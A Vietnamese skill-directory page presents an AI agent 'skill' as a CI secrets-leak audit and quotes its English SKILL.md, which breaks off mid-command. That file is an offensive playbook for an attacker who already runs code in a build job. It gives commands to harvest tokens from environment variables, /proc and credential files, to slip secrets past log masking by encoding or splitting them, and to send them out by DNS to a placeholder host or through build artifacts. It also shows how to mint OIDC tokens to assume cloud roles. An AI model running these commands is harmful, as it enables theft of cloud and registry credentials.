cicd-secrets-exfil
Skill này làm gì
Hướng dẫn này bao quát cách job build có thể làm lộ bí mật, như khóa đám mây và token truy cập, và cách ngăn điều đó. Hướng dẫn dành cho các đội DevOps và bảo mật quản lý hệ thống CI.
Khi nào nên dùng
- ✓Khi một đội muốn kiểm tra xem log build hoặc biến môi trường có thể làm lộ bí mật không.
- ✓Khi một pipeline dùng token role đám mây và bạn cần giới hạn những gì chúng truy cập được.
- ✓Khi bạn rà soát xem cache build hoặc artifact có giữ giá trị nhạy cảm không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Một job build trong hệ thống CI của chúng tôi có thể làm lộ khóa đám mây vào log hoặc artifact không? Bạn có thể kiểm tra thiết lập của chúng tôi không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent kiểm tra nơi bí mật xuất hiện trong môi trường job, rà soát cách log che giấu chúng, rồi báo cáo những giá trị nào vẫn có thể bị lộ.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
CI/CD Secrets & OIDC Exfiltration
Pre-requisite: you already have code execution in a CI job (see poisoned-pipeline-execution/ or github-actions-injection/). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
Surface map
# In the runner — every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
Log masking — and how it fails
GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with ***. The mask is substring-based, applied post-write, to UTF-8 chars only. Defeats trivially:
SECRET="$MY_SECRET"
# 1. Base64 — masker doesn't decode
echo "$SECRET" | base64 -w0
# 2. Hex
echo -n "$SECRET" | xxd -p
# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1
# 4. Reverse
echo "$SECRET" | rev
# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
# 8. Out-of-band — write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloads
For authorized research: stop at step 5. Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
What lives in env
# GitHub Actions
# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* — explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints
# - ACTIONS_CACHE_URL — cache service endpoint
# GitLab CI
# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD
# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN
GitHub OIDC -> cloud role
If the workflow declares permissions: id-token: write, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:
# Mint an OIDC token from inside the job
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# Inspect claims (no secret — JWT is base64)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow
# AWS — assume role if trust policy matches the sub claim
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name research \
--web-identity-token "$ID_TOKEN" \
--duration-seconds 900 \
| jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'
# GCP — exchange for a Google access token via Workload Identity Federation
# (requires the WIF pool/provider to trust the GitHub OIDC issuer)
Trust-policy enumeration without burning a session: the OIDC sub claim is deterministic — repo:OWNER/REPO:ref:refs/heads/BRANCH or :environment:NAME. If you can read the trust policy (cross-account roles are sometimes enumerable via iam:GetRole from a low-priv key), you can predict which (repo, ref) will pass.
GITHUB_TOKEN abuse
# What can this token do? (no secret leaked — just header inspection)
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
# Common abuses given `contents: write` + `pull-requests: write`
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release
gh p
Câu hỏi thường gặp
Che giấu log có giải quyết được vấn đề không?
Không hoàn toàn. Hướng dẫn nói việc che giấu chỉ hoạt động trên văn bản chính xác, nên giá trị đã mã hóa hoặc bị tách vẫn có thể xuất hiện.
Token OIDC là gì?
Đó là token có thời hạn ngắn, cho phép job build chứng minh danh tính của nó với nhà cung cấp đám mây.
Lời khuyên chính là gì?
Giới hạn phạm vi của mỗi token và tránh in hoặc lưu đệm bí mật trong đầu ra build.
Chi tiết
Mô tả gốc của tác giả
Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14029
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.